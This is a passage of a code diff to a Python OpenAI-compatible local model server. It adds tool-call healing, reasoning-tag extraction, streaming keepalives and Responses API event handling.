+
+    # The potential tool context above is needed before server/client routing is
+    # known. This standard path now has the exact schemas that will be rendered,
+    # so resolve reasoning parsing again to keep empty registries, forced-tool
+    # misses, and tool_choice="none" on the marker-free template branch.
+    _, _sf_parse_think, _sf_reasoning_prefilled = _sf_response_protocol(gen_kwargs.get("tools"))
+
     # Request-scoped usage/timings receptacle (filled at gen_done).
     stats_holder: dict = {}
 
     if payload.use_adapter is not None:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_with_adapter_control(
                 use_adapter = payload.use_adapter,
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
     else:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_chat_response(
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
 
     # ── Streaming response ────────────────────────────────────────
@@ -6826,32 +9287,56 @@ async def openai_chat_completions(
         _tracker.__enter__()
 
         async def stream_chunks():
+            gen = None
+            _next_task = None
             disconnect_watcher = asyncio.create_task(
                 _await_disconnect_then_cancel(request, cancel_event)
             )
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
+                # Client-tool passthrough: heal text-form calls on the fly
+                # (None => relay verbatim).
+                healer = StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None
+                heal_state = {"idx": 0}
+
                 prev_text = ""
-                # Run the sync generator in a thread pool to avoid blocking the
-                # event loop. Critical for compare mode: two SSE requests arrive
-                # concurrently but the orchestrator serializes them via
-                # _gen_lock; without run_in_executor the second request's
-                # blocking lock acquisition would freeze the entire event loop,
-                # stalling both streams.
+                # Split prefilled <think> into reasoning_content deltas (GGUF parity); single turn, serves MLX.
+                reasoning_extractor = _new_sf_reasoning_extractor()
+                # Run the sync generator in a worker thread so it can't block the event
+                # loop. Critical for compare mode: a second request's blocking _gen_lock
+                # acquisition would otherwise freeze the loop and stall both streams.
                 _DONE = object()  # sentinel for generator exhaustion
-                loop = asyncio.get_event_loop()
                 gen = generate()
                 while True:
                     if cancel_event.is_set():
                         backend.reset_generation_state()
                         break
-                    # next(gen, _DONE) returns _DONE instead of raising
-                    # StopIteration -- StopIteration can't propagate through
-                    # asyncio futures (Python limitation).
-                    cumulative = await loop.run_in_executor(None, next, gen, _DONE)
+                    # Stall keepalive (see safetensors tool stream) each window while
+                    # next(gen) runs in a worker. next(gen, _DONE) returns _DONE rather
+                    # than raising StopIteration (which can't cross asyncio futures).
+                    _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _DONE))
+                    while True:
+                        _done_tasks, _ = await asyncio.wait(
+                            {_next_task},
+                            timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                        )
+                        if _done_tasks:
+                            break
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    cumulative = _next_task.result()
+                    # Done; drop the reference so the finally-block drain no-ops.
+                    _next_task = None
                     if cumulative is _DONE:
                         break
+                    if isinstance(cumulative, GenStreamError):
+                        backend.reset_generation_state()
+                        _msg = _friendly_gen_stream_error(cumulative)
+                        api_monitor.fail(monitor_id, _msg)
+                        yield _openai_stream_error_sse(
+                            {"error": {"message": _msg, "type": "server_error"}}
+                        )
+                        return
                     if await request.is_disconnected():
                         cancel_event.set()
                         backend.reset_generation_state()
@@ -6861,10 +9346,76 @@ async def openai_chat_completions(
                     prev_text = cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split prefilled <think> reasoning first (GGUF/MLX parity),
+                    # then route only the visible text through the client-tool
+                    # healer so tool markup inside a reasoning block is not promoted.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        if healer is None:
+                            # Monitor mirrors the verbatim relay; with healing on,
+                            # _sf_heal_events_to_sse records the healed events instead.
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _chat_content_chunk(
+                                completion_id, created, model_name, visible_delta
+                            )
+                        else:
+                            for line in _sf_heal_events_to_sse(
+                                healer.feed(visible_delta),
+                                completion_id,
+                                created,
+                                model_name,
+                                heal_state,
+                                payload.parallel_tool_calls,
+                                monitor_id,
+                            ):
+                                yield line
 
-                yield _chat_final_chunk(completion_id, created, model_name, "stop")
+                final_reasoning, final_visible = reasoning_extractor.finish()
+                if final_reasoning:
+                    yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning)
+                if final_visible:
+                    if healer is None:
+                        api_monitor.append_reply(monitor_id, final_visible)
+                        yield _chat_content_chunk(completion_id, created, model_name, final_visible)
+                    else:
+                        for line in _sf_heal_events_to_sse(
+                            healer.feed(final_visible),
+                            completion_id,
+                            created,
+                            model_name,
+                            heal_state,
+                            payload.parallel_tool_calls,
+                            monitor_id,
+                        ):
+                            yield line
+
+                # A cancelled stream must not promote buffered-but-incomplete
+                # markup: finalize()'s allow_incomplete heal would execute a tool
+                # the user just cancelled. Disconnect returns earlier; "Stop" only
+                # sets cancel_event, so guard on it here too.
+                _cancelled = cancel_event.is_set()
+                if healer is not None and not _cancelled:
+                    for line in _sf_heal_events_to_sse(
+                        healer.finalize(),
+                        completion_id,
+                        created,
+                        model_name,
+                        heal_state,
+                        payload.parallel_tool_calls,
+                        monitor_id,
+                    ):
+                        yield line
+
+                _finish = (
+                    "tool_calls"
+                    if (healer is not None and not _cancelled and healer.healed)
+                    else "stop"
+                )
+                yield _chat_final_chunk(completion_id, created, model_name, _finish)
                 # Usage chunk (choices=[], usage set), same shape as the
                 # GGUF path so the speed popover works for MLX too.
                 # Request-scoped holder, so concurrent streams cannot
@@ -6903,13 +9454,25 @@ async def openai_chat_completions(
                         "type": "server_error",
                     },
                 }
-                yield f"data: {json.dumps(error_chunk)}\n\n"
+                yield _openai_stream_error_sse(error_chunk)
             finally:
                 await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                # Drain a still-running next(gen) worker before closing: closing
+                # mid-next(gen) raises ValueError('generator already executing') and
+                # skips the generator's cleanup finally. Matches the safetensors stream.
+                await _drain_pending_next_task(_next_task, cancel_event)
+                if gen is not None:
+                    try:
+                        # Offload the close so the generator's cleanup runs off the event
+                        # loop (matches the GGUF SSE path); a disconnect can't stall the loop.
+                        await asyncio.to_thread(gen.close)
+                    except (RuntimeError, ValueError):
+                        pass
                 _tracker.__exit__(None, None, None)
 
         return _SameTaskStreamingResponse(
             stream_chunks(),
+            unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
             media_type = "text/event-stream",
             headers = {
                 "Cache-Control": "no-cache",
@@ -6923,26 +9486,111 @@ async def openai_chat_completions(
         try:
             full_text = ""
             for token in generate():
+                if isinstance(token, GenStreamError):
+                    backend.reset_generation_state()
+                    _msg = _friendly_gen_stream_error(token)
+                    api_monitor.fail(monitor_id, _msg)
+                    raise HTTPException(status_code = 500, detail = _msg)
                 full_text = token
 
+            # Split prefilled <think> reasoning (GGUF parity); also covers MLX via
+            # the shared generate(). Client-tool healing then runs on the visible
+            # text so tool markup inside a reasoning block is never promoted.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                full_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            # Client-tool passthrough: promote text-form calls; opt-in single
+            # nudge retry on unparseable tool markup.
+            _msg = {"role": "assistant", "content": _visible_text}
+            if _reasoning_text:
+                _msg["reasoning_content"] = _reasoning_text
+            _finish = "stop"
+            if _sf_heal:
+                if heal_openai_message(_msg, _sf_heal, payload.tools):
+                    _finish = "tool_calls"
+                elif nudge_enabled(payload.nudge_tool_calls):
+                    _data = {
+                        "choices": [{"message": {"role": "assistant", "content": _visible_text}}]
+                    }
+                    if nudge_should_retry(_data, _sf_heal, payload.tools):
+                        # A failed retry must not 500 the request; keep the first
+                        # response (GGUF nudge parity). The retry's generate()
+                        # overwrites stats_holder, so save the first attempt's stats
+                        # and restore them if the retry is discarded.
+                        _first_stats = stats_holder.get("stats")
+                        try:
+                            retry_text = ""
+                            for token in generate(
+                                [*gen_kwargs["messages"], *nudge_messages(_data, _sf_heal)]
+                            ):
+                                retry_text = token
+                            # Re-split reasoning on the retry so its visible text is
+                            # what heals into a call (and reaches the monitor).
+                            _retry_reasoning, _retry_visible = _extract_responses_reasoning(
+                                retry_text,
+                                parse_think_markers = _sf_parse_think,
+                                reasoning_prefilled = _sf_reasoning_prefilled,
+                            )
+                            retry_msg = {"role": "assistant", "content": _retry_visible}
+                            if _retry_reasoning:
+                                retry_msg["reasoning_content"] = _retry_reasoning
+                            if heal_openai_message(retry_msg, _sf_heal, payload.tools):
+                                _visible_text, _msg, _finish = (
+                                    _retry_visible,
+                                    retry_msg,
+                                    "tool_calls",
+                                )
+                            else:
+                                # Retry produced no healable call -> first response wins.
+                                stats_holder["stats"] = _first_stats
+                        except Exception as retry_exc:
+                            logger.debug(
+                                "Nudge retry failed; keeping first response: %s", retry_exc
+                            )
+                            stats_holder["stats"] = _first_stats
+                # parallel_tool_calls=false: cap to one call (GGUF parity).
+                if payload.parallel_tool_calls is False:
+                    _tcs = _msg.get("tool_calls")
+                    if isinstance(_tcs, list) and len(_tcs) > 1:
+                        _msg["tool_calls"] = _tcs[:1]
+
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = full_text),
-                        finish_reason = "stop",
+                        message = CompletionMessage(
+                            content = _msg["content"],
+                            reasoning_content = _msg.get("reasoning_content"),
+                            tool_calls = _msg.get("tool_calls"),
+                        ),
+                        finish_reason = _finish,
                     )
                 ],
             )
-            api_monitor.set_reply(monitor_id, full_text)
+            _monitor_reply = _msg.get("content") or ""
+            if _finish == "tool_calls":
+                _tcs = _msg.get("tool_calls") or []
+                _calls_text = "; ".join(
+                    f"{(tc.get('function') or {}).get('name', '')}"
+                    f"({(tc.get('function') or {}).get('arguments', '')})"
+                    for tc in _tcs
+                )
+                _monitor_reply = (_msg.get("content") or "") + (
+                    f"[tool_calls] {_calls_text}" if _calls_text else ""
+                )
+            api_monitor.set_reply(monitor_id, _monitor_reply)
             _stats = stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id)
             return _model_json_response(response)
 
+        except HTTPException:
+            raise
         except Exception as e:
             backend.reset_generation_state()
             logger.error(f"Error during OpenAI completion: {e}", exc_info = True)
@@ -7313,7 +9961,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
     if not isinstance(body, dict):
         # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
@@ -7322,8 +9970,12 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
         if not isinstance(body, dict):
             raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    if body.get("max_tokens") is None:
-        body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR
+    _resolved_max_tokens = _effective_openai_max_tokens_from_values(body.get("max_tokens"))
+    body["max_tokens"] = (
+        _resolved_max_tokens
+        if _resolved_max_tokens is not None
+        else (llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR)
+    )
     target_url = f"{llama_backend.base_url}/v1/completions"
     is_stream = body.get("stream", False)
     prompt_text = _flatten_monitor_prompt(body.get("prompt", ""))
@@ -7416,7 +10068,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                     logger.error("openai_completions stream error: %s", e)
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                    yield _openai_stream_error_sse_bytes(error_chunk)
                     return
                 api_monitor.finish(monitor_id, "cancelled")
                 return
@@ -7431,7 +10083,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                 logger.error("openai_completions stream error: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
                 error_chunk = _openai_stream_error_chunk(e)
-                yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                yield _openai_stream_error_sse_bytes(error_chunk)
                 return
             finally:
                 await _aclose_stream_resources(
@@ -7525,7 +10177,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
     if not isinstance(body, dict):
         # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
@@ -7759,10 +10411,18 @@ def _responses_marker_holdback(text: str, markers: tuple[str, ...]) -> int:
 class _ResponsesReasoningExtractor:
     """Split local <think> markup into Responses reasoning and visible text."""
 
-    def __init__(self, *, parse_think_markers: bool = False) -> None:
+    def __init__(
+        self,
+        *,
+        parse_think_markers: bool = False,
+        reasoning_prefilled: bool = False,
+    ) -> None:
         self._buffer = ""
-        self._in_reasoning = False
-        self._parse_think_markers = parse_think_markers
+        # reasoning_prefilled: the template inserts an unclosed <think>, so output begins inside
+        # the block; start in reasoning until the first close tag. Existing callers pass False.
+        self._in_reasoning = reasoning_prefilled
+        # Splitting requires marker parsing; a prefilled open implies it.
+        self._parse_think_markers = parse_think_markers or reasoning_prefilled
 
     def feed(
         self,
@@ -7785,14 +10445,21 @@ class _ResponsesReasoningExtractor:
             if self._in_reasoning:
                 close_idx = self._buffer.find(_RESPONSES_THINK_CLOSE)
                 if close_idx != -1:
-                    reasoning_parts.append(self._buffer[:close_idx])
+                    reasoning_parts.append(
+                        self._buffer[:close_idx].replace(_RESPONSES_THINK_OPEN, "")
+                    )
                     self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :]
                     self._in_reasoning = False
                     continue
-                keep = _responses_marker_holdback(self._buffer, (_RESPONSES_THINK_CLOSE,))
+                # Hold back a trailing partial of either marker: the close (clean split across chunks)
+                # and a stray open (a re-emitted <think> is suppressed, not leaked).
+                keep = _responses_marker_holdback(
+                    self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN)
+                )
                 if keep == len(self._buffer):
                     break
-                reasoning_parts.append(self._buffer[:-keep] if keep else self._buffer)
+                emit = self._buffer[:-keep] if keep else self._buffer
+                reasoning_parts.append(emit.replace(_RESPONSES_THINK_OPEN, ""))
                 self._buffer = self._buffer[-keep:] if keep else ""
                 break
 
@@ -7829,7 +10496,7 @@ class _ResponsesReasoningExtractor:
             return "", remaining
         if self._in_reasoning:
             self._in_reasoning = False
-            return remaining, ""
+            return remaining.replace(_RESPONSES_THINK_OPEN, ""), ""
         return "", remaining.replace(_RESPONSES_THINK_CLOSE, "")
 
 
@@ -7838,8 +10505,12 @@ def _extract_responses_reasoning(
     reasoning_content: Any = None,
     *,
     parse_think_markers: bool = False,
+    reasoning_prefilled: bool = False,
 ) -> tuple[str, str]:
-    extractor = _ResponsesReasoningExtractor(parse_think_markers = parse_think_markers)
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = parse_think_markers,
+        reasoning_prefilled = reasoning_prefilled,
+    )
     reasoning, visible = extractor.feed(text, reasoning_content)
     final_reasoning, final_visible = extractor.finish()
     return reasoning + final_reasoning, visible + final_visible
@@ -8045,6 +10716,13 @@ def _build_chat_request(
         if isinstance(_tpl_kw, dict) and "enable_thinking" in _tpl_kw:
             chat_kwargs["enable_thinking"] = bool(_tpl_kw["enable_thinking"])
             explicit_enable_thinking = True
+        # auto_heal_tool_calls / nudge_tool_calls are not typed on
+        # ResponsesRequest; lift them from the extra-body so passthrough
+        # healing (and the opt-in nudge) honor them on both paths.
+        if isinstance(_extra.get("auto_heal_tool_calls"), bool):
+            chat_kwargs["auto_heal_tool_calls"] = _extra["auto_heal_tool_calls"]
+        if isinstance(_extra.get("nudge_tool_calls"), bool):
+            chat_kwargs["nudge_tool_calls"] = _extra["nudge_tool_calls"]
 
     if isinstance(payload.reasoning, dict):
         effort = payload.reasoning.get("effort")
@@ -8239,7 +10917,7 @@ async def _responses_stream(
         # so the client sees a useful error instead of a dangling stream.
         raise HTTPException(
             status_code = 400,
-            detail = (
+            detail = _no_model_loaded_detail(
                 "Streaming /v1/responses requires a GGUF model loaded via "
                 "llama-server. Use non-streaming /v1/responses, "
                 "/v1/chat/completions, or load a GGUF model."
@@ -8261,6 +10939,52 @@ async def _responses_stream(
     )
     body["stream_options"] = {"include_usage": True}
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "responses_stream",
+            completion_id = resp_id,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    def _responses_admission_failed_sse(exc: Exception, *, status_code: int) -> str:
+        return (
+            "event: response.failed\n"
+            "data: "
+            + json.dumps(
+                {
+                    "type": "response.failed",
+                    "response": {
+                        "id": resp_id,
+                        "object": "response",
+                        "created_at": created_at,
+                        "status": "failed",
+                        "model": _llama_public_model_id(llama_backend, payload.model)
+                        or payload.model,
+                        "output": [],
+                        "usage": {
+                            "input_tokens": 0,
+                            "output_tokens": 0,
+                            "total_tokens": 0,
+                        },
+                        "error": {
+                            "code": status_code,
+                            "message": str(exc),
+                        },
+                    },
+                }
+            )
+            + "\n\n"
+        )
 
     async def event_generator():
         # Clean public id for every response envelope. Prefer the loaded model's
@@ -8279,16 +11003,112 @@ async def _responses_stream(
             parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend)
         )
         reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False}
-        message_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False}
+        message_state: dict[str, Any] = {
+            "output_index": None,
+            "item_id": None,
+            "opened": False,
+            "text": "",
+        }
+        # Message items already closed mid-stream (a healed tool call splits
+        # the assistant text into separate message items, as native Responses
+        # streams do). Kept for the final response.completed snapshot.
+        closed_message_states: list[dict] = []
         # Per-tool-call state keyed by Chat Completions `tool_calls[].index`,
         # stable across chunks for the same call. Values:
         #   {output_index, item_id, call_id, name, arguments, opened}
         tool_call_state: dict[int, dict] = {}
         next_output_index = 0
+        # Text-form tool calls promoted back to structured calls (declared
+        # client tools only); dormant once grammar-mode structured deltas appear.
+        _allowed_tools = heal_gate(
+            getattr(chat_req, "auto_heal_tool_calls", None),
+            body.get("tools"),
+            body.get("tool_choice"),
+        )
+        healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None
+        healed_tc_index = 0
+
+        def _healed_tc(call: dict):
+            # Chat-delta shape for a healed call. Indexes live in a disjoint
+            # range so a healed call can never merge into a structured call's
+            # state slot; parallel_tool_calls=false caps healed calls too (the
+            # upstream cap ran before injection).
+            nonlocal healed_tc_index
+            if payload.parallel_tool_calls is False and healed_tc_index >= 1:
+                return None
+            tc = {
+                "index": 1_000_000 + healed_tc_index,
+                "id": call["id"],
+                "type": "function",
+                "function": call["function"],
+            }
+            healed_tc_index += 1
+            return tc
 
         def _sse(event_name: str, payload: dict) -> str:
             return f"event: {event_name}\ndata: {json.dumps(payload)}\n\n"
 
+        def _tool_call_delta_events(tc: dict) -> list:
+            # One Chat Completions tool_calls delta -> Responses SSE events,
+            # allocating/merging per-call state (shared by the structured loop
+            # and the healer's promoted calls).
+            events = []
+            idx = tc.get("index", 0)
+            st = tool_call_state.get(idx)
+            fn = tc.get("function") or {}
+            if st is None:
+                # First chunk for this tool call -- allocate an
+                # output_index and emit output_item.added.
+                st = {
+                    "output_index": _claim_output_index(),
+                    "item_id": f"fc_{uuid.uuid4().hex[:12]}",
+                    "call_id": tc.get("id") or "",
+                    "name": fn.get("name") or "",
+                    "arguments": "",
+                    "opened": False,
+                }
+                tool_call_state[idx] = st
+            else:
+                # Later chunks sometimes carry id/name only once; merge
+                # when present.
+                if tc.get("id") and not st["call_id"]:
+                    st["call_id"] = tc["id"]
+                if fn.get("name") and not st["name"]:
+                    st["name"] = fn["name"]
+
+            if not st["opened"] and st["call_id"] and st["name"]:
+                item_added = {
+                    "type": "response.output_item.added",
+                    "output_index": st["output_index"],
+                    "item": {
+                        "type": "function_call",
+                        "id": st["item_id"],
+                        "status": "in_progress",
+                        "call_id": st["call_id"],
+                        "name": st["name"],
+                        "arguments": "",
+                    },
+                }
+                events.append(_sse("response.output_item.added", item_added))
+                st["opened"] = True
+
+            arg_delta = fn.get("arguments") or ""
+            if arg_delta and st["opened"]:
+                st["arguments"] += arg_delta
+                args_delta_event = {
+                    "type": "response.function_call_arguments.delta",
+                    "item_id": st["item_id"],
+                    "output_index": st["output_index"],
+                    "delta": arg_delta,
+                }
+                events.append(_sse("response.function_call_arguments.delta", args_delta_event))
+            elif arg_delta:
+                # Buffer args until we can open the item (some models
+                # send id/name in the same chunk as the first arg delta;
+                # if not, stash).
+                st["arguments"] += arg_delta
+            return events
+
         def _claim_output_index() -> int:
             nonlocal next_output_index
             output_index = next_output_index
@@ -8373,6 +11193,98 @@ async def _responses_stream(
                 ),
             ]
 
+        def _close_message_item() -> list[str]:
+            """Close the open message item so later text opens a fresh one.
+
+            Emits the same done-event triplet the end-of-stream close loop
+            would, records the item for the final snapshot, and resets the
+            state in place. No-op when no message item is open.
+            """
+            if not message_state["opened"]:
+                return []
+            text = message_state["text"]
+            events = [
+                _sse(
+                    "response.output_text.done",
+                    {
+                        "type": "response.output_text.done",
+                        "item_id": message_state["item_id"],
+                        "output_index": message_state["output_index"],
+                        "content_index": 0,
+                        "text": text,
+                    },
+                ),
+                _sse(
+                    "response.content_part.done",
+                    {
+                        "type": "response.content_part.done",
+                        "item_id": message_state["item_id"],
+                        "output_index": message_state["output_index"],
+                        "content_index": 0,
+                        "part": {"type": "output_text", "text": text, "annotations": []},
+                    },
+                ),
+                _sse(
+                    "response.output_item.done",
+                    {
+                        "type": "response.output_item.done",
+                        "output_index": message_state["output_index"],
+                        "item": {
+                            "type": "message",
+                            "id": message_state["item_id"],
+                            "status": "completed",
+                            "role": "assistant",
+                            "content": [{"type": "output_text", "text": text, "annotations": []}],
+                        },
+                    },
+                ),
+            ]
+            closed_message_states.append(dict(message_state))
+            message_state.update(
+                {"output_index": None, "item_id": None, "opened": False, "text": ""}
+            )
+            return events
+
+        def _healed_event_sse(events) -> list[str]:
+            """Serialize healer events preserving their order.
+
+            Text around a healed call must keep its position relative to the
+            function_call item (output indexes are claimed in emission order),
+            so never split an event list into all-text-then-all-calls. A healed
+            call also CLOSES any open message item, so trailing text opens a
+            fresh message with a later output index, exactly like a native
+            Responses stream that interleaves messages and calls.
+            """
+            nonlocal full_text
+            out: list[str] = []
+            for kind, value in events:
+                if kind == "text":
+                    if not value:
+                        continue
+                    out.extend(_ensure_message_open())
+                    full_text += value
+                    message_state["text"] += value
+                    api_monitor.append_reply(monitor_id, value)
+                    out.append(
+                        _sse(
+                            "response.output_text.delta",
+                            {
+                                "type": "response.output_text.delta",
+                                "item_id": message_state["item_id"],
+                                "output_index": message_state["output_index"],
+                                "content_index": 0,
+                                "delta": value,
+                            },
+                        )
+                    )
+                else:
+                    tc = _healed_tc(value)
+                    if tc is None:
+                        continue
+                    out.extend(_close_message_item())
+                    out.extend(_tool_call_delta_events(tc))
+            return out
+
         def _snapshot_output() -> list[dict]:
             """Snapshot of all completed output items for response.completed."""
             indexed_items: list[tuple[int, dict]] = []
@@ -8389,19 +11301,23 @@ async def _responses_stream(
                         },
                     )
                 )
-            if message_state["opened"]:
+            # Closed copies keep opened=True (snapshotted before reset); the
+            # live state contributes only when a message is currently open.
+            for msg_st in [*closed_message_states, message_state]:
+                if not msg_st["opened"]:
+                    continue
                 indexed_items.append(
                     (
-                        message_state["output_index"],
+                        msg_st["output_index"],
                         {
                             "type": "message",
-                            "id": message_state["item_id"],
+                            "id": msg_st["item_id"],
                             "status": "completed",
                             "role": "assistant",
                             "content": [
                                 {
                                     "type": "output_text",
-                                    "text": full_text,
+                                    "text": msg_st["text"],
                                     "annotations": [],
                                 }
                             ],
@@ -8529,7 +11445,7 @@ async def _responses_stream(
                             "output": [],
                             "error": {
                                 "code": resp.status_code,
-                                "message": f"llama-server error: {err_text[:500]}",
+                                "message": _friendly_upstream_error(err_text[:500]),
                             },
                         },
                     },
@@ -8585,10 +11501,30 @@ async def _responses_stream(
                             "delta": reasoning_delta,
                         },
                     )
+                # Heal text-form tool calls in the visible stream (never in
+                # reasoning text): promoted calls join the structured tc loop
+                # below through the same state machinery, and healer events are
+                # emitted IN ORDER so text after a healed call never jumps ahead
+                # of the function_call item. Once a structured delta arrives,
+                # grammar mode worked and the healer goes dormant.
+                if healer is not None and not healer.dormant:
+                    healed_events = []
+                    if delta.get("tool_calls"):
+                        # Held text preceded the structured call; the call's own
+                        # deltas follow in the structured loop below.
+                        healed_events = healer.structured_tool_call_seen()
+                        if visible_delta:
+                            healed_events.append(("text", visible_delta))
+                    elif visible_delta:
+                        healed_events = healer.feed(visible_delta)
+                    visible_delta = ""
+                    for event in _healed_event_sse(healed_events):
+                        yield event
                 if visible_delta:
                     for event in _ensure_message_open():
                         yield event
                     full_text += visible_delta
+                    message_state["text"] += visible_delta
                     api_monitor.append_reply(monitor_id, visible_delta)
                     yield _sse(
                         "response.output_text.delta",
@@ -8602,60 +11538,19 @@ async def _responses_stream(
                     )
 
                 for tc in delta.get("tool_calls") or []:
-                    idx = tc.get("index", 0)
-                    st = tool_call_state.get(idx)
-                    fn = tc.get("function") or {}
-                    if st is None:
-                        # First chunk for this tool call -- allocate an
-                        # output_index and emit output_item.added.
-                        st = {
-                            "output_index": _claim_output_index(),
-                            "item_id": f"fc_{uuid.uuid4().hex[:12]}",
-                            "call_id": tc.get("id") or "",
-                            "name": fn.get("name") or "",
-                            "arguments": "",
-                            "opened": False,
-                        }
-                        tool_call_state[idx] = st
-                    else:
-                        # Later chunks sometimes carry id/name only once; merge
-                        # when present.
-                        if tc.get("id") and not st["call_id"]:
-                            st["call_id"] = tc["id"]
-                        if fn.get("name") and not st["name"]:
-                            st["name"] = fn["name"]
-
-                    if not st["opened"] and st["call_id"] and st["name"]:
-                        item_added = {
-                            "type": "response.output_item.added",
-                            "output_index": st["output_index"],
-                            "item": {
-                                "type": "function_call",
-                                "id": st["item_id"],
-                                "status": "in_progress",
-                                "call_id": st["call_id"],
-                                "name": st["name"],
-                                "arguments": "",
-                            },
-                        }
-                        yield _sse("response.output_item.added", item_added)
-                        st["opened"] = True
-
-                    arg_delta = fn.get("arguments") or ""
-                    if arg_delta and st["opened"]:
-                        st["arguments"] += arg_delta
-                        args_delta_event = {
-                            "type": "response.function_call_arguments.delta",
-                            "item_id": st["item_id"],
-                            "output_index": st["output_index"],
-                            "delta": arg_delta,
-                        }
-                        yield _sse("response.function_call_arguments.delta", args_delta_event)
-                    elif arg_delta:
-                        # Buffer args until we can open the item (some models
-                        # send id/name in the same chunk as the first arg delta;
-                        # if not, stash).
-                        st["arguments"] += arg_delta
+                    if (
+                        payload.parallel_tool_calls is False
+                        and healed_tc_index >= 1
+                        and tc.get("index", 0) not in tool_call_state
+                    ):
+                        # A healed call already consumed the single allowed slot;
+                        # _drop_parallel_tool_call_deltas only sees native indexes,
+                        # so a native index-0 call would still open a second
+                        # function_call item. Skip it (and its later argument
+                        # deltas, which never allocate a state either).
+                        continue
+                    for event in _tool_call_delta_events(tc):
+                        yield event
 
                 _apply_usage(chunk_data.get("usage"))
         except asyncio.CancelledError:
@@ -8711,10 +11606,19 @@ async def _responses_stream(
                     "delta": final_reasoning,
                 },
             )
+        # Last-chance heal of any held residue (e.g. a tool block the model
+        # never closed) before the trailing visible text is flushed; events
+        # keep healer order so trailing text stays behind a healed call.
+        if healer is not None:
+            events = (healer.feed(final_visible) if final_visible else []) + healer.finalize()
+            final_visible = ""
+            for event in _healed_event_sse(events):
+                yield event
         if final_visible:
             for event in _ensure_message_open():
                 yield event
             full_text += final_visible
+            message_state["text"] += final_visible
             api_monitor.append_reply(monitor_id, final_visible)
             yield _sse(
                 "response.output_text.delta",
@@ -8773,6 +11677,10 @@ async def _responses_stream(
                 continue
 
             if kind == "message":
+                # Per-item text: message items closed mid-stream (healed-call
+                # rotation) already emitted their done events, so this state
+                # carries only its own text, not the whole stream's.
+                _msg_text = st["text"]
                 yield _sse(
                     "response.output_text.done",
                     {
@@ -8780,7 +11688,7 @@ async def _responses_stream(
                         "item_id": st["item_id"],
                         "output_index": st["output_index"],
                         "content_index": 0,
-                        "text": full_text,
+                        "text": _msg_text,
                     },
                 )
                 yield _sse(
@@ -8790,7 +11698,7 @@ async def _responses_stream(
                         "item_id": st["item_id"],
                         "output_index": st["output_index"],
                         "content_index": 0,
-                        "part": {"type": "output_text", "text": full_text, "annotations": []},
+                        "part": {"type": "output_text", "text": _msg_text, "annotations": []},
                     },
                 )
                 yield _sse(
@@ -8804,7 +11712,7 @@ async def _responses_stream(
                             "status": "completed",
                             "role": "assistant",
                             "content": [
-                                {"type": "output_text", "text": full_text, "annotations": []}
